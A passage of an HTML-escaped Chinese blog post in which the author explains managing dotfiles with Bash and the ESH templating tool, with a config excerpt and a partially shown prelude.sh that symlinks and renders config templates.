3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发布&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版——那就用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scala
3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来写吧。Scala&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的问题是它需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JVM，而点文件管理器很重要的特性是依赖少：毕竟它发挥最大作用的时刻是你拿到一台崭新但空无一物的电脑之时。GraalVM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scala
3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生成“Native
Image&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，完美解决问题——才怪：我依赖的库在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Native
Image&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里面有问题。所以这次尝试仅仅几天就结束了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;目前的方法&quot;&gt;目前的方法&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Bash_+_ESH&quot;&gt;Bash + ESH&lt;&#x2F;h3&gt;
&lt;p&gt;我所追求的点文件管理器有模板功能、可以同时运行于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux、需要安装最少的依赖。理所当然的，我把目光投向了无处不在的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash、AWK&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;有些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发行版用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BusyBox&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;取代了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GNU&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那一套工具，所以没有预装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash——不过我也不用这些发行版。Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不自带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GNU&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;套件，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git
for
Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;附赠&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GNU&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;套件。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;模板方面，交给三百多行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jirutka&#x2F;esh&quot;&gt;ESH&lt;&#x2F;a&gt;；安装软件、复制文件等方面，交给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ESH&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主要用的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AWK；而复制文件用的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;install。不过大差不差，有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不会没有它们俩。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;软链接让跟踪修改更方便，模板可以用参数生成不同的文件。之前用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;dotbot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有软链接没有模板，chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有模板但没有软链接——但其实它俩不冲突：我现在把模板生成的文件也保存在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仓库里，再链接它。我认为我兼得了鱼和熊掌。&lt;&#x2F;p&gt;
&lt;p&gt;这是个土法子，但解决了我的需求：我已经使用这种方法一年了，并且没打算换掉它。当然，这个方法并不完美：不满之一是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语法太扭曲了；不满之二是手写模板还是太麻烦了——最近&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ChatGPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的效果十分惊人，也许以后我会让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来生成点文件。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;示例&quot;&gt;示例&lt;&#x2F;h4&gt;
&lt;p&gt;下面是我使用这套管理器的配置节选：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# shellcheck disable=SC2211,SC2215&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; prelude.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt; zsh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;.zshenv zsh&#x2F;zshenv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;.config&#x2F;zsh&#x2F;.zshrc zsh&#x2F;zshrc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;.config&#x2F;zsh&#x2F;.p10k.zsh zsh&#x2F;p10k.zsh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt; nvim&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;.config&#x2F;nvim vim&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;prelude.sh&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;定义了三个函数：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;?&lt;&#x2F;code&gt;：用于条件执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;-&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;+&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-&lt;&#x2F;code&gt;：用于在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&#x2F;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上创建软链接；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;+&lt;&#x2F;code&gt;：用于执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ESH&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模板、链接生成后的文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;&lt;code&gt;prelude.sh&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有些长，且比较枯燥。点我展开源码。&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;PATH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$PATH:$PWD&#x2F;esh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;export&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; ESH_SHELL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;PROGRAM_EXISTS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;PROGRAM_NAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# TODO loop over $@&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    PROGRAM_NAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        PROGRAM_EXISTS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;\n$1 exists, installing its configs:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        PROGRAM_EXISTS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;\n$1 doesn&amp;#39;t exist, its configs has been skipped.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $PROGRAM_EXISTS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  - Linking $1 from $2.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $PROGRAM_EXISTS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; generated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;gen&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;HOSTNAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;HOST&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;${1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;&#x2F;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  + Creating $generated from $2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; $#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ));&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; with &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            esh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$generated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            esh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$generated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    Linking $1 from $generated.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$generated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;win-path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
